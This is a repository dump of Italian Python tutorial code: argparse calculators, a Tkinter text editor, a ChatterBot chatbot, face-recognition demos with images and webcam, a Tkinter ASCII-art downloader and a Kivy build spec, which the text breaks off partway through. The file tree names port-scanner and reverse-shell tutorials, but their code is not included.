├── .gitignore ├── ArgParse_Introduction ├── argparse_calc_1.py ├── argparse_calc_2.py ├── argparse_calc_3.py └── argparse_calc_4.py ├── Come_Creare_un_Editor_Testuale_Python_TKINTER ├── PyText--Parte-Prima.py ├── PyText--Parte-Seconda.py └── PyText-Terza-Parte-Versione-FINALE.py ├── Creare_Chatbot_con_Python_e_ChatterBot └── chappie.py ├── Face_Recognition_From_Images ├── enrico_mentana.jpg ├── face_recognition-ex1.py ├── face_recognition-ex2.py └── other.jpg ├── Face_Recognition_WebCam └── face_recognition_webcam.py ├── Interfacce_Grafiche_per_PYTHON_con_TKINTER ├── ascii_downloader.py └── tkinter_introduction.py ├── Kivy-Introduction ├── .gitignore ├── buildozer.spec └── main.py ├── LICENSE ├── Port_Scanner_MultiThread ├── video_1 │ └── p_scan.py ├── video_2 │ ├── common_ports.json │ └── p_scan.py ├── video_3 │ ├── common_ports.json │ ├── p_scan.py │ └── utils.py ├── video_4 │ ├── common_ports.json │ ├── p_scan.py │ ├── requirements.txt │ └── utils.py └── video_5 │ ├── common_ports.json │ ├── p_scan.py │ ├── requirements.txt │ └── utils.py ├── PyScript_Hello_World └── pyscript-hello.html ├── Python_Reverse_Shell ├── client.py └── server.py ├── README.md ├── Requests-HTTP_Per_Esseri_Umani ├── 0-requests-tutorial-ita.py ├── 1-requests-tutorial-ita.py ├── 2-requests-tutorial-ita.py └── 3-requests-tutorial-ita.py ├── Riconoscimento_Vocale_Python_SPEECHRECOGNITION ├── audio_file_voice_recognition.py └── live_microphone_voice_recognition.py ├── Server-Client-TCP_con_Modulo_Socket ├── sub_client.py └── sub_server.py ├── Sintesi_Vocale_Python_gTTS └── gTTS_tutorial.py └── Twitter_API_con_Python_e_TWEEPY ├── tweepy_tutorial.py └── twitter_app_credentials.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | 106 | .vscode/ 107 | -------------------------------------------------------------------------------- /ArgParse_Introduction/argparse_calc_1.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | def calcolatrice(n1, n2, operazione): 4 | if operazione == "add": 5 | return n1 + n2 6 | elif operazione == "sot": 7 | return n1 - n2 8 | elif operazione == "mol": 9 | return n1 * n2 10 | elif operazione == "div": 11 | return n1 / n2 12 | 13 | parser = argparse.ArgumentParser(description="Semplice Calcolatrice per addizioni, sottrazioni, moltiplicazioni e divisioni") 14 | 15 | parser.add_argument("n1", type=float, help="Primo Numero") 16 | parser.add_argument("n2", type=float, help="Secondo Numero") 17 | parser.add_argument("operazione", 18 | type=str, 19 | help="Operazione consentite: add | sot | mol | div") 20 | 21 | args = parser.parse_args() 22 | 23 | if __name__ == "__main__": 24 | risultato = calcolatrice(args.n1, args.n2, args.operazione) 25 | print(risultato) 26 | -------------------------------------------------------------------------------- /ArgParse_Introduction/argparse_calc_2.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | def calcolatrice(n1, n2, operazione): 4 | if operazione == "add": 5 | return n1 + n2 6 | elif operazione == "sot": 7 | return n1 - n2 8 | elif operazione == "mol": 9 | return n1 * n2 10 | elif operazione == "div": 11 | return n1 / n2 12 | 13 | parser = argparse.ArgumentParser(description="Semplice Calcolatrice per addizioni, sottrazioni, moltiplicazioni e divisioni") 14 | 15 | parser.add_argument("n1", type=float, help="Primo Numero") 16 | parser.add_argument("n2", type=float, help="Secondo Numero") 17 | parser.add_argument("operazione", 18 | type=str, 19 | help="Tipo di Operazione", 20 | choices = ["add", "sot", "mol", "div"]) 21 | 22 | parser.add_argument("-v", "--verbose", 23 | help="Restituisce output verboso.", 24 | action="store_true") 25 | 26 | args = parser.parse_args() 27 | 28 | 29 | if __name__ == "__main__": 30 | risultato = calcolatrice(args.n1, args.n2, args.operazione) 31 | if args.verbose: 32 | print(f"Il risultato dell'operazione '{args.operazione}' è: {risultato}") 33 | else: 34 | print(risultato) 35 | -------------------------------------------------------------------------------- /ArgParse_Introduction/argparse_calc_3.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | def calcolatrice(n1, n2, operazione): 4 | if operazione == "add": 5 | return n1 + n2 6 | elif operazione == "sot": 7 | return n1 - n2 8 | elif operazione == "mol": 9 | return n1 * n2 10 | elif operazione == "div": 11 | return n1 / n2 12 | 13 | parser = argparse.ArgumentParser(description="Semplice Calcolatrice per addizioni, sottrazioni, moltiplicazioni e divisioni") 14 | 15 | parser.add_argument("n1", type=float, help="Primo Numero") 16 | parser.add_argument("n2", type=float, help="Secondo Numero") 17 | parser.add_argument("operazione", 18 | type=str, 19 | help="Tipo di Operazione", 20 | choices = ["add", "sot", "mol", "div"]) 21 | parser.add_argument("-v", "--verbose", 22 | help="Restituisce output verboso.", 23 | type=int, 24 | choices=[1,2]) 25 | 26 | 27 | args = parser.parse_args() 28 | 29 | 30 | if __name__ == "__main__": 31 | risultato = calcolatrice(args.n1, args.n2, args.operazione) 32 | if args.verbose == 1: 33 | print(f"Il risultato dell'operazione '{args.operazione}' è: {risultato}") 34 | elif args.verbose == 2: 35 | print("Benvenuti al programma Calcolatrice!") 36 | print(f"Il risultato dell'operazione '{args.operazione}' tra '{args.n1}' e '{args.n2}' è: {risultato}") 37 | else: 38 | print(f"Il risultato dell'operazione è: {risultato}") 39 | -------------------------------------------------------------------------------- /ArgParse_Introduction/argparse_calc_4.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | def calcolatrice(n1, n2, operazione): 4 | if operazione == "add": 5 | return n1 + n2 6 | elif operazione == "sot": 7 | return n1 - n2 8 | elif operazione == "mol": 9 | return n1 * n2 10 | elif operazione == "div": 11 | return n1 / n2 12 | 13 | parser = argparse.ArgumentParser(description="Semplice Calcolatrice per addizioni, sottrazioni, moltiplicazioni e divisioni") 14 | 15 | parser.add_argument("n1", type=float, help="Primo Numero") 16 | parser.add_argument("n2", type=float, help="Secondo Numero") 17 | parser.add_argument("operazione", 18 | type=str, 19 | help="Tipo di Operazione", 20 | choices = ["add", "sot", "mol", "div"]) 21 | 22 | group = parser.add_mutually_exclusive_group() 23 | group.add_argument("-v", "--verbose", 24 | help="Restituisce output verboso.", 25 | type=int, 26 | choices=[1,2]) 27 | group.add_argument("-q", "--quiet", help="Output non verboso", action="store_true") 28 | 29 | args = parser.parse_args() 30 | 31 | 32 | 33 | 34 | 35 | if __name__ == "__main__": 36 | risultato = calcolatrice(args.n1, args.n2, args.operazione) 37 | 38 | if args.quiet: 39 | print(risultato) 40 | elif args.verbose == 1: 41 | print(f"Il risultato dell'operazione '{args.operazione}' è: {risultato}") 42 | elif args.verbose == 2: 43 | print("Benvenuti al programma Calcolatrice!") 44 | print(f"Il risultato dell'operazione '{args.operazione}' tra '{args.n1}' e '{args.n2}' è: {risultato}") 45 | else: 46 | print(f"Il risultato dell'operazione è: {risultato}") -------------------------------------------------------------------------------- /Come_Creare_un_Editor_Testuale_Python_TKINTER/PyText--Parte-Prima.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | 3 | 4 | class Menubar: 5 | 6 | def __init__(self, parent): 7 | font_specs = ("ubuntu", 14) 8 | 9 | menubar = tk.Menu(parent.master, font=font_specs) 10 | parent.master.config(menu=menubar) 11 | 12 | file_dropdown = tk.Menu(menubar, font=font_specs, tearoff=0) 13 | file_dropdown.add_command(label="Nuovo File", 14 | command=parent.new_file) 15 | file_dropdown.add_command(label="Apri File", 16 | command=parent.open_file) 17 | file_dropdown.add_command(label="Salva", 18 | command=parent.save) 19 | file_dropdown.add_command(label="Salva con Nome", 20 | command=parent.save_as) 21 | file_dropdown.add_separator() 22 | file_dropdown.add_command(label="Esci", 23 | command=parent.master.destroy) 24 | 25 | menubar.add_cascade(label="File", menu=file_dropdown) 26 | 27 | 28 | 29 | class PyText: 30 | 31 | def __init__(self, master): 32 | master.title("Untitled - PyText") 33 | master.geometry("1200x700") 34 | 35 | font_specs = ("ubuntu", 18) 36 | 37 | self.master = master 38 | 39 | self.textarea = tk.Text(master, font=font_specs) 40 | self.scroll = tk.Scrollbar(master, command=self.textarea.yview) 41 | self.textarea.configure(yscrollcommand=self.scroll.set) 42 | self.textarea.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 43 | self.scroll.pack(side=tk.RIGHT, fill=tk.Y) 44 | 45 | self.menubar = Menubar(self) 46 | 47 | def set_window_title(self): 48 | pass 49 | 50 | def new_file(self): 51 | pass 52 | 53 | def open_file(self): 54 | pass 55 | 56 | def save(self): 57 | pass 58 | 59 | def save_as(self): 60 | pass 61 | 62 | 63 | 64 | 65 | if __name__ == "__main__": 66 | master = tk.Tk() 67 | pt = PyText(master) 68 | master.mainloop() 69 | -------------------------------------------------------------------------------- /Come_Creare_un_Editor_Testuale_Python_TKINTER/PyText--Parte-Seconda.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | from tkinter import filedialog 3 | 4 | 5 | class Menubar: 6 | 7 | def __init__(self, parent): 8 | font_specs = ("ubuntu", 14) 9 | 10 | menubar = tk.Menu(parent.master, font=font_specs) 11 | parent.master.config(menu=menubar) 12 | 13 | file_dropdown = tk.Menu(menubar, font=font_specs, tearoff=0) 14 | file_dropdown.add_command(label="Nuovo File", 15 | command=parent.new_file) 16 | file_dropdown.add_command(label="Apri File", 17 | command=parent.open_file) 18 | file_dropdown.add_command(label="Salva", 19 | command=parent.save) 20 | file_dropdown.add_command(label="Salva con Nome", 21 | command=parent.save_as) 22 | file_dropdown.add_separator() 23 | file_dropdown.add_command(label="Esci", 24 | command=parent.master.destroy) 25 | 26 | menubar.add_cascade(label="File", menu=file_dropdown) 27 | 28 | 29 | class PyText: 30 | 31 | def __init__(self, master): 32 | master.title("Untitled - PyText") 33 | master.geometry("1200x700") 34 | 35 | font_specs = ("ubuntu", 18) 36 | 37 | self.master = master 38 | self.filename = None 39 | 40 | self.textarea = tk.Text(master, font=font_specs) 41 | self.scroll = tk.Scrollbar(master, command=self.textarea.yview) 42 | self.textarea.configure(yscrollcommand=self.scroll.set) 43 | self.textarea.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 44 | self.scroll.pack(side=tk.RIGHT, fill=tk.Y) 45 | 46 | self.menubar = Menubar(self) 47 | 48 | def set_window_title(self, name=None): 49 | if name: 50 | self.master.title(name + " - PyText") 51 | else: 52 | self.master.title("Untitled - PyText") 53 | 54 | def new_file(self): 55 | self.textarea.delete(1.0, tk.END) 56 | self.filename = None 57 | self.set_window_title() 58 | 59 | def open_file(self): 60 | self.filename = filedialog.askopenfilename( 61 | defaultextension=".txt", 62 | filetypes=[("Tutti i file", "*.*"), 63 | ("File di Testo", "*.txt"), 64 | ("Script Python", "*.py"), 65 | ("Markdown Text", "*.md"), 66 | ("File JavaScript", "*.js"), 67 | ("Documenti HMTL", "*.html"), 68 | ("Documenti CSS", "*.css")]) 69 | if self.filename: 70 | self.textarea.delete(1.0, tk.END) 71 | with open(self.filename, "r") as f: 72 | self.textarea.insert(1.0, f.read()) 73 | self.set_window_title(self.filename) 74 | 75 | def save(self): 76 | if self.filename: 77 | try: 78 | textarea_content = self.textarea.get(1.0, tk.END) 79 | with open(self.filename, "w") as f: 80 | f.write(textarea_content) 81 | except Exception as e: 82 | print(e) 83 | else: 84 | self.save_as() 85 | 86 | def save_as(self): 87 | try: 88 | new_file = filedialog.asksaveasfilename( 89 | initialfile="Untitled.txt", 90 | defaultextension=".txt", 91 | filetypes=[("Tutti i file", "*.*"), 92 | ("File di Testo", "*.txt"), 93 | ("Script Python", "*.py"), 94 | ("Markdown Text", "*.md"), 95 | ("File JavaScript", "*.js"), 96 | ("Documenti HMTL", "*.html"), 97 | ("Documenti CSS", "*.css")]) 98 | textarea_content = self.textarea.get(1.0, tk.END) 99 | with open(new_file, "w") as f: 100 | f.write(textarea_content) 101 | self.filename = new_file 102 | self.set_window_title(self.filename) 103 | except Exception as e: 104 | print(e) 105 | 106 | 107 | 108 | if __name__ == "__main__": 109 | master = tk.Tk() 110 | pt = PyText(master) 111 | master.mainloop() 112 | -------------------------------------------------------------------------------- /Come_Creare_un_Editor_Testuale_Python_TKINTER/PyText-Terza-Parte-Versione-FINALE.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | from tkinter import filedialog 3 | from tkinter import messagebox 4 | 5 | 6 | class Menubar: 7 | 8 | def __init__(self, parent): 9 | font_specs = ('ubuntu', 14) 10 | 11 | menubar = tk.Menu(parent.master, font=font_specs) 12 | parent.master.config(menu=menubar) 13 | 14 | file_dropdown = tk.Menu(menubar, font=font_specs, tearoff=0) 15 | file_dropdown.add_command(label="Nuovo File", 16 | accelerator="Ctrl+N", 17 | command=parent.new_file) 18 | file_dropdown.add_command(label="Apri File", 19 | accelerator="Ctrl+O", 20 | command=parent.open_file) 21 | file_dropdown.add_command(label="Salva", 22 | accelerator="Ctrl+S", 23 | command=parent.save) 24 | file_dropdown.add_command(label="Salva con Nome", 25 | accelerator="Ctrl+Shift+S", 26 | command=parent.save_as) 27 | file_dropdown.add_separator() 28 | file_dropdown.add_command(label="Esci", 29 | command=parent.master.destroy) 30 | 31 | about_dropdown = tk.Menu(menubar, font=font_specs, tearoff=0) 32 | about_dropdown.add_command(label="Note di Rilascio", 33 | command=self.show_release_notes) 34 | about_dropdown.add_separator() 35 | about_dropdown.add_command(label="About", 36 | command=self.show_about_message) 37 | 38 | menubar.add_cascade(label="File", menu=file_dropdown) 39 | menubar.add_cascade(label="About", menu=about_dropdown) 40 | 41 | def show_about_message(self): 42 | box_title = "Riguardo PyText" 43 | box_message = "Un semplice Editor Testuale creato con Python e TkInter!" 44 | messagebox.showinfo(box_title, box_message) 45 | 46 | def show_release_notes(self): 47 | box_title = "Note di Rilascio" 48 | box_message = "Versione 0.1 - Gutenberg" 49 | messagebox.showinfo(box_title, box_message) 50 | 51 | 52 | class Statusbar: 53 | 54 | def __init__(self, parent): 55 | font_specs = ('ubuntu', 12) 56 | 57 | self.status = tk.StringVar() 58 | self.status.set("PyText - 0.1 Gutenberg") 59 | 60 | label = tk.Label(parent.textarea, textvariable=self.status, fg="black", 61 | bg="lightgrey", anchor='sw', font=font_specs) 62 | label.pack(side=tk.BOTTOM, fill=tk.BOTH) 63 | 64 | def update_status(self, *args): 65 | if isinstance(args[0], bool): 66 | self.status.set("Il tuo File è stato salvato!") 67 | else: 68 | self.status.set("PyText - 0.1 Gutenberg") 69 | 70 | 71 | class PyText: 72 | """ PyText è un semplice Editor Testuale creato con TkInter. 73 | 74 | Lo scopo di PyText è quello di insegnarti l'utilizzo del modulo TkInter. 75 | 76 | Visita il file README.md per i link ai video tutorial in italiano dove 77 | viene spiegato nel dettaglio come creare questo programma, passo passo.""" 78 | 79 | def __init__(self, master): 80 | master.title("Untitled - PyText") 81 | master.geometry("1200x700") 82 | 83 | font_specs = ('ubuntu', 18) 84 | 85 | self.master = master 86 | self.filename = None 87 | 88 | self.textarea = tk.Text(master, font=font_specs) 89 | self.scroll = tk.Scrollbar(master, command=self.textarea.yview) 90 | self.textarea.configure(yscrollcommand=self.scroll.set) 91 | self.textarea.pack(side=tk.LEFT, fill=tk.BOTH, expand=True) 92 | self.scroll.pack(side=tk.RIGHT, fill=tk.Y) 93 | 94 | self.menubar = Menubar(self) 95 | self.statusbar = Statusbar(self) 96 | 97 | self.bind_shortcuts() 98 | 99 | def set_window_title(self, name=None): 100 | if name: 101 | self.master.title(name + " - PyText") 102 | else: 103 | self.master.title("Untitled - PyText") 104 | 105 | def new_file(self, *args): 106 | self.textarea.delete(1.0, tk.END) 107 | self.filename = None 108 | self.set_window_title() 109 | 110 | def open_file(self, *args): 111 | self.filename = filedialog.askopenfilename( 112 | defaultextension=".txt", 113 | filetypes=[("Tutti i file", "*.*"), 114 | ("File di Testo", "*.txt"), 115 | ("Script Python", "*.py"), 116 | ("Markdown Text", "*.md"), 117 | ("File JavaScript", "*.js"), 118 | ("Documenti HMTL", "*.html"), 119 | ("Documenti CSS", "*.css")]) 120 | if self.filename: 121 | self.textarea.delete(1.0, tk.END) 122 | with open(self.filename, "r") as f: 123 | self.textarea.insert(1.0, f.read()) 124 | self.set_window_title(self.filename) 125 | 126 | def save(self, *args): 127 | if self.filename: 128 | try: 129 | textarea_content = self.textarea.get(1.0, tk.END) 130 | with open(self.filename, "w") as f: 131 | f.write(textarea_content) 132 | except Exception as e: 133 | print(e) 134 | else: 135 | self.save_as() 136 | 137 | def save_as(self, *args): 138 | try: 139 | new_file = filedialog.asksaveasfilename( 140 | initialfile='Untitled.txt', 141 | defaultextension=".txt", 142 | filetypes=[("Tutti i file", "*.*"), 143 | ("File di Testo", "*.txt"), 144 | ("Script Python", "*.py"), 145 | ("Markdown Text", "*.md"), 146 | ("File JavaScript", "*.js"), 147 | ("Documenti HMTL", "*.html"), 148 | ("Documenti CSS", "*.css")]) 149 | with open(new_file, 'w') as f: 150 | textarea_content = self.textarea.get(1.0, tk.END) 151 | f.write(textarea_content) 152 | self.filename = new_file 153 | self.set_window_title(self.filename) 154 | self.statusbar.update_status(True) 155 | except Exception as e: 156 | print(e) 157 | 158 | def bind_shortcuts(self): 159 | self.textarea.bind('', self.new_file) 160 | self.textarea.bind('', self.open_file) 161 | self.textarea.bind('', self.save) 162 | self.textarea.bind('', self.save_as) 163 | self.textarea.bind('', self.statusbar.update_status) 164 | 165 | 166 | 167 | if __name__ == "__main__": 168 | master = tk.Tk() 169 | pt = PyText(master) 170 | master.mainloop() 171 | 172 | 173 | 174 | 175 | -------------------------------------------------------------------------------- /Creare_Chatbot_con_Python_e_ChatterBot/chappie.py: -------------------------------------------------------------------------------- 1 | from chatterbot import ChatBot 2 | from chatterbot.trainers import ListTrainer 3 | from chatterbot.response_selection import get_first_response 4 | from chatterbot.comparisons import levenshtein_distance 5 | 6 | import logging 7 | 8 | logging.basicConfig(level=logging.CRITICAL) 9 | 10 | 11 | bot = ChatBot( 12 | "Chappie", 13 | storage_adapter = "chatterbot.storage.SQLStorageAdapter", 14 | database = "./db.sqlite3", 15 | logic_adapters = [ 16 | "chatterbot.logic.BestMatch" 17 | ], 18 | statement_comparison_function = levenshtein_distance, 19 | response_selection_method = get_first_response 20 | ) 21 | 22 | 23 | with open("/home/pymike00/chatter.txt") as f: 24 | conversation = f.readlines() 25 | trainer = ListTrainer(bot) 26 | trainer.train(conversation) 27 | 28 | 29 | while True: 30 | try: 31 | user_input = input("Tu: ") 32 | bot_response = bot.get_response(user_input) 33 | print("Chappie: ", bot_response) 34 | except(KeyboardInterrupt, EOFError, SystemExit): 35 | print("GoodBye!") 36 | break 37 | 38 | 39 | # Documentation: https://chatterbot.readthedocs.io/ 40 | # GitHub: https://github.com/gunthercox/ChatterBot 41 | # Input/Output Adapters Support: https://github.com/gunthercox/ChatterBot/pull/1563 42 | # Logging: https://chatterbot.readthedocs.io/en/stable/chatterbot.html?highlight=logger#enable-logging -------------------------------------------------------------------------------- /Face_Recognition_From_Images/enrico_mentana.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pymike00/YouTube-Tutorials/98ebf71a74b7fc9ea710d9d2c49cb191f27073cb/Face_Recognition_From_Images/enrico_mentana.jpg -------------------------------------------------------------------------------- /Face_Recognition_From_Images/face_recognition-ex1.py: -------------------------------------------------------------------------------- 1 | import face_recognition 2 | 3 | known_image = face_recognition.load_image_file("enrico_mentana.jpg") 4 | unknown_image = face_recognition.load_image_file("other.jpg") 5 | 6 | known_encoding = face_recognition.face_encodings(known_image)[0] 7 | unknown_encoding = face_recognition.face_encodings(unknown_image)[0] 8 | 9 | results = face_recognition.compare_faces([known_encoding], unknown_encoding) 10 | answer = "Si" if results[0] else "No" 11 | 12 | print(f"L'immagine sconosciuta raffigura Enrico Mentana? { answer }") 13 | -------------------------------------------------------------------------------- /Face_Recognition_From_Images/face_recognition-ex2.py: -------------------------------------------------------------------------------- 1 | import face_recognition 2 | 3 | known_image = face_recognition.load_image_file("volto_noto.jpg") 4 | unknown_image = face_recognition.load_image_file("other.jpg") 5 | 6 | known_encoding = face_recognition.face_encodings(known_image)[0] 7 | unknown_encoding = face_recognition.face_encodings(unknown_image)[0] 8 | 9 | face_distance = face_recognition.face_distance([known_encoding], unknown_encoding) 10 | match = True if face_distance[0] <= 0.6 else False 11 | 12 | print("Range Distanza: [0.0 - 1.0]") 13 | print(f"I volti analizzati hanno una distanza di {face_distance[0]:.2} dall'immagine conosciuta") 14 | print(f"Match: { match }") 15 | -------------------------------------------------------------------------------- /Face_Recognition_From_Images/other.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pymike00/YouTube-Tutorials/98ebf71a74b7fc9ea710d9d2c49cb191f27073cb/Face_Recognition_From_Images/other.jpg -------------------------------------------------------------------------------- /Face_Recognition_WebCam/face_recognition_webcam.py: -------------------------------------------------------------------------------- 1 | import face_recognition 2 | import cv2 # pip install opencv-python 3 | 4 | webcam = cv2.VideoCapture(0) 5 | 6 | image_file = input("Target Image File > ") 7 | target_image = face_recognition.load_image_file(image_file) 8 | target_encoding = face_recognition.face_encodings(target_image)[0] 9 | 10 | print("Image Loaded. 128-dimension Face Encoding Generated. \n") 11 | 12 | target_name = input("Target Name > ") 13 | 14 | process_this_frame = True 15 | 16 | while True: 17 | ret, frame = webcam.read() 18 | 19 | small_frame = cv2.resize(frame, None, fx=0.20, fy=0.20) 20 | rgb_small_frame = cv2.cvtColor(small_frame, 4) 21 | 22 | if process_this_frame: 23 | 24 | face_locations = face_recognition.face_locations(rgb_small_frame) 25 | frame_encodings = face_recognition.face_encodings(rgb_small_frame) 26 | 27 | if frame_encodings: 28 | frame_face_encoding = frame_encodings[0] 29 | match = face_recognition.compare_faces([target_encoding], frame_face_encoding)[0] 30 | label = target_name if match else "Unknown" 31 | 32 | process_this_frame = not process_this_frame 33 | 34 | if face_locations: 35 | top, right, bottom, left = face_locations[0] 36 | 37 | top *= 5 38 | right *= 5 39 | bottom *= 5 40 | left *= 5 41 | 42 | cv2.rectangle(frame, (left, top), (right, bottom), (0, 255, 0), 2) 43 | 44 | cv2.rectangle(frame, (left, bottom - 30), (right, bottom), (0, 255, 0), cv2.FILLED) 45 | label_font = cv2.FONT_HERSHEY_DUPLEX 46 | cv2.putText(frame, label, (left + 6, bottom - 6), label_font, 0.8, (255, 255, 255), 1) 47 | 48 | cv2.imshow("Video Feed", frame) 49 | 50 | if cv2.waitKey(1) & 0xFF == ord('q'): 51 | break 52 | 53 | webcam.release() 54 | cv2.destroyAllWindows() 55 | 56 | 57 | # Video Tutorial ITA: https://youtu.be/5moAA31iTmM 58 | -------------------------------------------------------------------------------- /Interfacce_Grafiche_per_PYTHON_con_TKINTER/ascii_downloader.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | import requests 3 | 4 | window = tk.Tk() 5 | window.geometry("900x550") 6 | window.title("ASCII ART DOWNLOADER") 7 | window.grid_columnconfigure(0, weight=1) 8 | 9 | 10 | def download_ascii(): 11 | if text_input.get(): 12 | user_input = text_input.get() 13 | payload = {"text": user_input} 14 | response = requests.get("http://artii.herokuapp.com/make", 15 | params=payload) 16 | text_response = response.text 17 | else: 18 | text_response = "Aggiungi una parola o una frase al campo input!" 19 | 20 | textwidget = tk.Text() 21 | textwidget.insert(tk.END, text_response) 22 | textwidget.grid(row=3, column=0, sticky="WE", padx=10, pady=10) 23 | 24 | credits_label = tk.Label(window, text="ascii art by artii.herokuapp.com") 25 | credits_label.grid(row=4, column=0, sticky="S", pady=10) 26 | 27 | 28 | welcome_label = tk.Label(window, 29 | text="Welcome! Aggiungi una parola o una frase da scaricare:", 30 | font=("Helvetica", 15)) 31 | welcome_label.grid(row=0, column=0, sticky="N", padx=20, pady=10) 32 | 33 | text_input = tk.Entry() 34 | text_input.grid(row=1, column=0, sticky="WE", padx=10) 35 | 36 | download_button = tk.Button(text="DOWNLOAD ASCII ART", command=download_ascii) 37 | download_button.grid(row=2, column=0, sticky="WE", pady=10, padx=10) 38 | 39 | 40 | if __name__ == "__main__": 41 | window.mainloop() -------------------------------------------------------------------------------- /Interfacce_Grafiche_per_PYTHON_con_TKINTER/tkinter_introduction.py: -------------------------------------------------------------------------------- 1 | import tkinter as tk 2 | 3 | window = tk.Tk() 4 | window.geometry("600x600") 5 | window.title("Hello TkInter!") 6 | # window.resizable(False, False) 7 | # window.configure(background="white") 8 | 9 | 10 | def first_print(): 11 | text = "Hello World!" 12 | text_output = tk.Label(window, text=text, fg="red", font=("Helvetica", 16)) 13 | text_output.grid(row=0, column=1, sticky="W") 14 | 15 | def second_function(): 16 | text = "Nuovo Messaggio! Nuova Funzione!" 17 | text_output = tk.Label(window, text=text, fg="green", font=("Helvetica", 16)) 18 | text_output.grid(row=1, column=1, padx=50, sticky="W") 19 | 20 | first_button = tk.Button(text="Saluta!", command=first_print) 21 | first_button.grid(row=0, column=0, sticky="W") 22 | 23 | second_button = tk.Button(text="Seconda Funzione", command=second_function) 24 | second_button.grid(row=1, column=0, pady=20, sticky="W") 25 | 26 | 27 | if __name__ == "__main__": 28 | window.mainloop() -------------------------------------------------------------------------------- /Kivy-Introduction/.gitignore: -------------------------------------------------------------------------------- 1 | .buildozer/ 2 | bin/ 3 | -------------------------------------------------------------------------------- /Kivy-Introduction/buildozer.spec: -------------------------------------------------------------------------------- 1 | [app] 2 | 3 | # (str) Title of your application 4 | title = Hello Kivy 5 | 6 | # (str) Package name 7 | package.name = myapp 8 | 9 | # (str) Package domain (needed for android/ios packaging) 10 | package.domain = org.test 11 | 12 | # (str) Source code where the main.py live 13 | source.dir = . 14 | 15 | # (list) Source files to include (let empty to include all the files) 16 | source.include_exts = py,png,jpg,kv,atlas 17 | 18 | # (list) List of inclusions using pattern matching 19 | #source.include_patterns = assets/*,images/*.png 20 | 21 | # (list) Source files to exclude (let empty to not exclude anything) 22 | #source.exclude_exts = spec 23 | 24 | # (list) List of directory to exclude (let empty to not exclude anything) 25 | #source.exclude_dirs = tests, bin 26 | 27 | # (list) List of exclusions using pattern matching 28 | #source.exclude_patterns = license,images/*/*.jpg 29 | 30 | # (str) Application versioning (method 1) 31 | version = 0.1 32 | 33 | # (str) Application versioning (method 2) 34 | # version.regex = __version__ = ['"](.*)['"] 35 | # version.filename = %(source.dir)s/main.py 36 | 37 | # (list) Application requirements 38 | # comma separated e.g. requirements = sqlite3,kivy 39 | requirements = python3,kivy,kivymd 40 | 41 | # (str) Custom source folders for requirements 42 | # Sets custom source for any requirements with recipes 43 | # requirements.source.kivy = ../../kivy 44 | 45 | # (list) Garden requirements 46 | #garden_requirements = 47 | 48 | # (str) Presplash of the application 49 | #presplash.filename = %(source.dir)s/data/presplash.png 50 | 51 | # (str) Icon of the application 52 | #icon.filename = %(source.dir)s/data/icon.png 53 | 54 | # (str) Supported orientation (one of landscape, sensorLandscape, portrait or all) 55 | orientation = portrait 56 | 57 | # (list) List of service to declare 58 | #services = NAME:ENTRYPOINT_TO_PY,NAME2:ENTRYPOINT2_TO_PY 59 | 60 | # 61 | # OSX Specific 62 | # 63 | 64 | # 65 | # author = © Copyright Info 66 | 67 | # change the major version of python used by the app 68 | osx.python_version = 3 69 | 70 | # Kivy version to use 71 | osx.kivy_version = 1.9.1 72 | 73 | # 74 | # Android specific 75 | # 76 | 77 | # (bool) Indicate if the application should be fullscreen or not 78 | fullscreen = 0 79 | 80 | # (string) Presplash background color (for new android toolchain) 81 | # Supported formats are: #RRGGBB #AARRGGBB or one of the following names: 82 | # red, blue, green, black, white, gray, cyan, magenta, yellow, lightgray, 83 | # darkgray, grey, lightgrey, darkgrey, aqua, fuchsia, lime, maroon, navy, 84 | # olive, purple, silver, teal. 85 | #android.presplash_color = #FFFFFF 86 | 87 | # (list) Permissions 88 | #android.permissions = INTERNET 89 | 90 | # (int) Target Android API, should be as high as possible. 91 | #android.api = 27 92 | 93 | # (int) Minimum API your APK will support. 94 | #android.minapi = 21 95 | 96 | # (int) Android SDK version to use 97 | #android.sdk = 20 98 | 99 | # 